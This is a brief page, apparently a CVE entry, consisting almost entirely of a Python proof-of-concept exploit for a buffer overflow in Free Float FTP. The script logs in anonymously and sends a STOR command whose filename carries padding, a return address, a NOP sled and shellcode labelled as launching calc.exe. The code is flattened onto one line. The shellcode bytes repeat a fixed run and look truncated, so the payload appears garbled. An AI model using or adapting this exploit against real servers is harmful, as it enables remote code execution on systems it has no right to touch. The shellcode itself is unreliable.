CVE-2019-25614 Free Float FTP远程缓冲区溢出漏洞

import socket import sys # Target configuration target_ip = "192.168.1.100" target_port = 21 # Payload construction # Padding to reach the return address offset padding = b"A" * 247 # Return address (JMP ESP example address, needs adjustment for specific environment) ret_addr = b"\xAF\x11\x50\x62" # NOP sled nop_sled = b"\x90" * 16 # Simple calc.exe shellcode (example) shellcode = b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5f\x83\xc7\x04\x31\xc9\xb1\x33\x31\x47\x19\x83\xc7\x04\x03\x47\xf7\xe2\xb6\x61\x35\xe9\x02\x7c\x46\x78\x15\x74\x4a\x07\x0e\x6f\x0d\x61\x35\xe9\x02\x7c\x46\x78\x15\x74\x4a\x07\x0e\x6f\x0d" payload = padding + ret_addr + nop_sled + shellcode try: # Connect to FTP server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # Receive banner s.recv(1024) # Anonymous Login s.send(b"USER anonymous\r\n") s.recv(1024) s.send(b"PASS anonymous\r\n") s.recv(1024) print("[+] Logged in anonymously") # Send malicious STOR command # The filename contains the overflow payload exploit_cmd = b"STOR " + payload + b"\r\n" s.send(exploit_cmd) print("[+] Malicious STOR command sent") s.close() except Exception as e: print(f"[-] Error: {e}")